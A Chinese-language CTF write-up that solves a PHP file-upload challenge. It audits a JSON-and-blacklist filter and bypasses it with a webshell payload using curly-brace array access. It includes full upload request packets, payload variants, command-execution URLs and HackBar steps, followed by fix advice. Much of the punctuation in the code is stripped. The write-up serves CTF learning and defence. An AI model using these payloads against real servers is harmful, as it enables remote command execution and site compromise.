CTF 文件上传漏洞详解|PHP JSON 校验上传绕过全过程

发布时间:2026/7/1 8:01:18

CTF 文件上传漏洞详解|PHP JSON 校验上传绕过全过程 CTF 文件上传漏洞详解PHP JSON 校验上传绕过全过程一、前言最近做一道 Pediy 平台的 CTF 文件上传题源码审计发现题目采用JSON 文件内容校验 黑名单字符过滤的双重限制初看防护严密但黑名单过滤存在字符覆盖不全的问题。利用黑名单未覆盖的特殊语法如花括号{}取参可将 PHP 一句话木马直接写入data字段值结合后端无后缀拦截直接上传拿到 Webshell。本文完整记录源码审计 → 漏洞分析 → Payload 构造 → 上传利用全流程。二、题目源码访问目标地址直接输出源码完整代码如下?phpif(isset($_FILES[file])){$datafile_get_contents($_FILES[file][tmp_name]);$arrjson_decode($data,true,2);if(json_last_error()!JSON_ERROR_NONE){echoJsonErr;exit;}if(count($arr)!1){echoDataErr;exit;}if(strlen($arr[data])45){echoLong;exit;}if(preg_match(/[\[\]^\.;]/,$arr[data])){echono;exit;}$nametime();$filename$_FILES[file][name];$extstrrchr($filename,.);echoupload/.$name.$ext;move_uploaded_file($_FILES[file][tmp_name],upload/.$name.$ext);}else{highlight_file(__FILE__);}?三、逐行审计梳理所有限制条件1. 文件整体要求必须是合法 JSON读取上传临时文件全部内容使用json_decode解析最大递归深度限制为 2JSON 解析失败直接输出JsonErr终止程序JSON 解析后count($arr)必须等于1否则输出DataErr。⚠️ 这里count($arr)作用于json_decode($data, true)返回的数组。对 JSON 对象{data:...}来说返回的是关联数组[data ...]count统计键的个数为 1满足条件。2. data 字段多重过滤后端提取 JSON 中data键对应的值做三层校验校验项条件触发报错长度限制strlen($arr[data]) 45Long黑名单字符正则/[\[\]^\.;]/ 匹配no黑名单字符一览[ ] ^ . ; ⚠️关键点花括号{}、圆括号()、美元符$、下划线_、大于号、小于号均不在黑名单内。这意味着可以构造出合法的 PHP 代码。3. 文件后缀存储逻辑$extstrrchr($filename,.);strrchr会截取文件名最后一个.之后的全部字符作为后缀后端没有任何后缀拦截文件名携带.php即可生成可执行 PHP 脚本。四、漏洞利用思路绕过核心思路代码过滤了data字段中的方括号[]但未过滤花括号{}。PHP 中$_GET{0}等价于$_GET[0]花括号语法可完美绕过正则黑名单。直接构造一句话木马?php system($_GET{0})?system— 直接执行系统命令无需写eval$_GET{0}— 花括号取参绕过[]黑名单无.、;、、^、等黑名单字符。可用 JSON Payload{data:?php system($_GET{0})?}校验点核对校验项计算结果结果count($arr) 11 个键count 1✅ 无DataErrstrlen($arr[data]) 45长度 26 45✅ 无Long黑名单字符检测无[ ] ^ . ;等字符✅ 无noJSON 格式标准合法对象深度 1✅ 无JsonErr五、上传数据包构造1. 文件准备新建文件填入下方 JSON 内容文件名为shell.php关键后缀为 php后端保留后缀存储。{data:?php system($_GET{0})?}2. HTTP 上传请求包POST / HTTP/1.1 Host: 8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/ Content-Type: multipart/form-data; boundary----boundary123456 ------boundary123456 Content-Disposition: form-data; namefile; filenameshell.php Content-Type: application/json {data:?php system($_GET{0})?} ------boundary123456--3. 上传成功回显请求发送后页面会返回文件存储路径示例upload/1782886123.php六、Webshell 利用访问返回的上传路径通过 GET 参数0执行任意系统命令http://8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/upload/1782886123.php?0cat /flag页面会直接输出 flag 内容完成解题。PHP 中system($_GET{0})将参数0的值作为系统命令执行无需eval、无需分号。七、更多可用 Payload 变种除了核心 Payload还可以利用未被黑名单覆盖的字符构造其他变种变种 1使用exec函数{data:?php exec($_GET{0})?}变种 2使用passthru函数{data:?php passthru($_GET{0})?}变种 3短标签写法{data:?system($_GET{0})?}?是 PHP 短标签等价于?php echo配合system输出命令结果。变种 4无闭合标签写法单文件无需?{data:?php system($_GET{0})}变种 5如果未来补了{}可用字符串花括号替代PHP 中${_GET}{0}或$_GET[0]如果[]被禁则不可用但花括号没被禁时$_GET{0}就是最简洁的方案。八、黑名单字符绕过分析正则黑名单[\[\]^\.;]被禁字符绕过方案[]改用花括号{}取参如$_GET{0}PHP 中函数名、超全局变量名不加引号用$_GET而非$_GET[key];语句末尾的?隐式包含分号效果单条语句也可省略不使用赋值操作直接传参执行.不使用字符串拼接避免出现.^XOR 编码/反引号执行均被禁但可用花括号system直接绕过无需这些技巧PHP 花括号语法说明PHP 中访问数组元素支持两种语法$_GET[0]// 方括号被黑名单拦截 ❌$_GET{0}// 花括号同样有效未被黑名单覆盖 ✅这是本题最核心的绕过技巧。九、漏洞总结与修复建议1. 漏洞成因问题说明 黑名单覆盖不全花括号{}和$等关键 PHP 语法字符未被过滤 无文件后缀拦截未禁止 php、phtml 等脚本后缀 单次校验仅上传时校验存储后无二次内容检测 原样保存直接保存用户上传文件未清洗恶意代码2. 服务端修复方案✅黑名单补全增加$、{、}、(、)、、、?等 PHP 语法字符过滤✅白名单限制文件后缀仅允许 jpg/png/txt 等静态文件✅重命名后缀上传文件强制改为静态格式✅二次检测服务端检测文件内容过滤?php等脚本标签✅禁用执行权限限制上传目录脚本执行权限关闭 upload 目录 PHP 解析。十、文末小结本题属于典型黑名单式文件上传防护虽然过滤了常见的方括号和敏感符号但花括号取参语法$_GET{0}完美绕过了正则检测配合system()函数直接执行系统命令。CTF 经验总结遇到黑名单过滤的题目除了常规思路键名绕过、嵌套绕过逐字符分析黑名单正则往往能找到最直接的绕过路径——本题只需一个合法的 JSON 对象连数组包裹都不需要最简单就是最优雅的。附录HackBar 完整实操步骤方案一浏览器上传抓包 → HackBar 重放新手首选Step 1打开目标页面浏览器访问地址页面会打印 PHP 源码确认题目正常访问。Step 2构造本地上传文件新建文本文档写入下面 JSON 内容重命名为shell.php{data:?php system($_GET{0})?}Step 3抓普通上传数据包F12 打开开发者工具网络面板勾选「保留日志」写一个简单 HTML 上传表单本地打开formactionhttp://8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/methodpostenctypemultipart/form-datainputtypefilenamefileinputtypesubmit/form选择shell.php提交上传网络面板找到 POST 请求右键 → Copy Request → Copy to HackBar。Step 4HackBar 发送数据包拿上传路径切换到 HackBar → POST 模式粘贴复制好的完整 multipart 数据包无需修改点击 Execute 执行响应页面返回上传路径示例upload/1789000000.php。Step 5HackBar 执行命令读取 flagHackBar 切换为 GET 请求URL 填入上传后的地址拼接0参数http://8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/upload/1789000000.php?0cat /flagExecute页面直接输出 flag。方案二HackBar 手动构造 multipart 上传包HackBar 切换 POSTURL 填目标地址切换到Raw 模式粘贴完整数据包POST / HTTP/1.1 Host: 8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/ Content-Type: multipart/form-data; boundary----abc123 ----abc123 Content-Disposition: form-data; namefile; filenameshell.php Content-Type: application/json {data:?php system($_GET{0})?} ----abc123--点击 Execute 发送获取 upload 路径切换 GET 访问上传文件执行命令。常见踩坑解决错误信息原因解决方案JsonErrJSON 格式错误 / 递归深度超过 2 层检查括号引号配对确保深度 ≤ 2DataErrcount($arr)不等于 1JSON 对象只有 1 个键时才通过别多加字段nodata 值包含黑名单字符检查 [ ] ’ ^ . ; 是否出现在 payload 中Longdata 字符串超过 45 字符本文 Payload 仅 26 字符不应报此错上传成功但无法执行文件名后缀不是.php确认文件名后缀为 php返回源码无上传路径HackBar 未用 Raw 模式普通 POST 无法识别文件参数走了else分支访问页面显示 JSON 原文服务器没解析 PHP检查是否上传了.txt而非.php终极无报错 Payload 参考首选 Payload最简洁{data:?php system($_GET{0})?}最小化测试 Payload先验证上传链路{data:helloworld}若最小化测试上传成功返回upload/xxx.php说明传输、JSON 格式全部正常再用首选 Payload 即可拿 Shell。

相关新闻